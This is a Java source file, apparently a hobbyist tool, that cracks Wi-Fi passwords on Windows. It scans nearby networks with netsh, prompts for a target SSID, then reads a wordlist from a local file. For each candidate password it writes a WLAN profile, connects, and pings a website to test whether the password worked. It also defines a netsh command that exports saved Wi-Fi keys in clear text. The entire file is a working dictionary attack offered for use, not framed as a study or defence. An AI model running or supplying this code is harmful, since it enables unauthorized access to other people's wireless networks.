package _2wifi;

import _0util.CmdUtil;
import _0util.TestingUtil;

import java.io.*;
import java.util.ArrayList;
import java.util.List;
import java.util.Scanner;

/**
 * @author wangzhen
 * @version 1.0
 * @date 2020/4/3 19:26
 */
public class DecodeWIFI {

    public static final String SHOW_WIFIS="netsh wlan show networks mode=bssid";  //列出所有可用wifi

    public static final String CONNECT_WIFI="netsh wlan connect name=SSID_NAME";// 连接wifi

    public static final String ADD_FILE="netsh wlan add profile filename=FILE_NAME";// 添加配置文件

    public static final String EXPORT_FILE="netsh wlan export profile key=clear";// 导出配置文件

    public static final String SHOW_FILE="netsh wlan show profile";// 列出配置文件

    public static final String DELETE_FILE="netsh wlan delete profile name=FILE_NAME";// 删除配置文件

    public static final String SHOW_INTERFACE="netsh wlan show interface";// 列出接口

    public static final String ENABLE_INTERFACE="netsh interface set interface \"Interface Name\" enabled";// 开启接口


    public static void main(String[] args){

        //1.扫描附近wifi，得到所有的wifi信息
        List<String> list = CmdUtil.exec(SHOW_WIFIS);
        List<String> wifiNameList=new ArrayList();

        //2.过滤多余信息，得到所有wifi名称，并打印wifi信号等信息
        String wifiName=null;
        String authType=null;
        String signal=null;
        for(String str:list){

            if(str.startsWith("SSID")){
                wifiName=str.substring(str.indexOf(":")+2);
            }else if(str.indexOf("身份验证")!=-1){
                authType=str;
            }else if(str.indexOf("信号")!=-1){
                signal=str;
            }

            if(str.indexOf("其他速率")!=-1&&TestingUtil.isNotEmpty(wifiName)){

                System.out.println("WIFI名称:"+wifiName+","+signal+","+authType);
                wifiNameList.add(wifiName);



            }
        }


        Scanner sc=new Scanner(System.in);

        System.out.println("请输入想要连接的WIFI:");
        String WIFIName = sc.next();

        //3.获取密码本，使用通用密码尝试破解
        List<String> passowrdList = DecodeWIFI.getPassowrdList();
        for(String password:passowrdList){

            boolean connect = DecodeWIFI.connect(WIFIName, password);
            if(connect){
                System.out.println("已连接到WIFI:"+WIFIName+",破译密码为:"+password);
                break;
            }
        }


        //4.开始尝试多线程破解
        //System.out.println("密码本破译无效,开始尝试暴力破解");


    }



    private static boolean connect(String ssid, String wifiPwd) {
        BufferedWriter bufferedWrite=null;
        try {
            String hex = DecodeWIFI.strTo16bit(ssid);

            //生成wifi配置文件
            String wifiXML = DecodeWIFI.getWifiXML(ssid, hex, wifiPwd);

            bufferedWrite=new BufferedWriter(new FileWriter("./temp.xml"));
            bufferedWrite.write(wifiXML);
            bufferedWrite.flush();

            //添加配置文件
            List<String> exec = CmdUtil.exec("netsh wlan add profile filename=temp.xml", "./");
            System.out.println(exec);

            //连接wifi
            CmdUtil.exec("netsh wlan connect name=\""+ssid+"\"","./");
            System.out.println(exec);

            //测试网络，使用ping的方式检测网络，此处建议优化改其他效率更高的方式，暂停2000毫秒是因为连接WiFi需要时间，这个时间因环境而异

            Thread.sleep(2000);
            boolean success = ping();
            return success;

        }catch (Exception e){
            e.printStackTrace();
        }finally {
            try {
                bufferedWrite.close();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
        return false;
    }




    /**
     * 读取密码本的密码
     * @return
     */
    public static List<String> getPassowrdList(){
        List<String> list=new ArrayList();
        BufferedReader bufferedReader=null;
        try {
            bufferedReader=new BufferedReader(new FileReader("E:/WIFIpassword.txt"));
            String str=null;
            while ((str=bufferedReader.readLine())!=null){
                list.add(str);
            }

        } catch (IOException e) {
            e.printStackTrace();
        }finally {
            try {
                bufferedReader.close();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }

        return list;

    }




    /**
     * 生成wifi配置文件
     * @param wifiName
     * @param hex
     * @param passowrd
     * @return
     */
    public static String getWifiXML(String wifiName, String hex, String passowrd) {
//        List<String> xml=new ArrayList();
//        xml.add("<?xml version=\"1.0\"?>");
//        xml.add("<WLANProfile xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v1\">");
//        xml.add("\t<name>"+wifiName+"</name>");
//        xml.add("\t<SSIDConfig>");
//        xml.add("\t\t<SSID>");
//        xml.add("\t\t\t<hex>"+hex+"</hex>");
//        xml.add("\t\t\t<name>"+wifiName+"</name>");
//        xml.add("\t\t</SSID>");
//        xml.add("\t</SSIDConfig>");
//        xml.add("\t<connectionType>ESS</connectionType>");
//        xml.add("\t<connectionMode>auto</connectionMode>");
//        xml.add("\t<MSM>");
//        xml.add("\t\t<security>");
//        xml.add("\t\t\t<authEncryption>");
//        xml.add("\t\t\t\t<authentication>WPA2PSK</authentication>");
//        xml.add("\t\t\t\t<encryption>AES</encryption>");
//        xml.add("\t\t\t\t<useOneX>false</useOneX>");
//        xml.add("\t\t\t</authEncryption>");
//        xml.add("\t\t\t<sharedKey>");
//        xml.add("\t\t\t\t<keyType>passPhrase</keyType>");
//        xml.add("\t\t\t\t<protected>false</protected>");
//        xml.add("\t\t\t\t<keyMaterial>"+passowrd+"</keyMaterial>");
//        xml.add("\t\t\t</sharedKey>");
//        xml.add("\t\t</security>");
//        xml.add("\t</MSM>");
//        xml.add("\t<MacRandomization xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v3\">");
//        xml.add("\t\t<enableRandomization>false</enableRandomization>");
//        xml.add("\t</MacRandomization>");
//        xml.add("</WLANProfile>");

        return "<?xml version=\"1.0\"?>\n" +
                "<WLANProfile xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v1\">\n" +
                "\t<name>"+wifiName+"</name>\n" +
                "\t<SSIDConfig>\n" +
                "\t\t<SSID>\n" +
                "\t\t\t<hex>"+hex+"</hex>\n" +
                "\t\t\t<name>"+wifiName+"</name>\n" +
                "\t\t</SSID>\n" +
                "\t</SSIDConfig>\n" +
                "\t<connectionType>ESS</connectionType>\n" +
                "\t<connectionMode>auto</connectionMode>\n" +
                "\t<MSM>\n" +
                "\t\t<security>\n" +
                "\t\t\t<authEncryption>\n" +
                "\t\t\t\t<authentication>WPA2PSK</authentication>\n" +
                "\t\t\t\t<encryption>AES</encryption>\n" +
                "\t\t\t\t<useOneX>false</useOneX>\n" +
                "\t\t\t</authEncryption>\n" +
                "\t\t\t<sharedKey>\n" +
                "\t\t\t\t<keyType>passPhrase</keyType>\n" +
                "\t\t\t\t<protected>false</protected>\n" +
                "\t\t\t\t<keyMaterial>"+passowrd+"</keyMaterial>\n" +
                "\t\t\t</sharedKey>\n" +
                "\t\t</security>\n" +
                "\t</MSM>\n" +
                "\t<MacRandomization xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v3\">\n" +
                "\t\t<enableRandomization>false</enableRandomization>\n" +
                "\t</MacRandomization>\n" +
                "</WLANProfile>\n";



    }


    /**
     * 测试网络是否连接
     * @return
     */
    public static boolean ping(){
        boolean flag=false;
        List<String> ipconfig = CmdUtil.exec("ping www.baidu.com");

        String netWork="";
        for(String str:ipconfig){
            if(str.indexOf("TTL")!=-1){
                flag=true;
            }
        }
        return flag;
    }




    /**
     * 字符串转换成为16进制(无需Unicode编码)
     * @param str
     * @return
     */
    public static String strTo16bit(String str) {
        char[] chars = "0123456789ABCDEF".toCharArray();
        StringBuilder sb = new StringBuilder("");
        byte[] bs = str.getBytes();
        int bit;
        for (int i = 0; i < bs.length; i++) {
            bit = (bs[i] & 0x0f0) >> 4;
            sb.append(chars[bit]);
            bit = bs[i] & 0x0f;
            sb.append(chars[bit]);
        }
        return sb.toString().trim();
    }
}
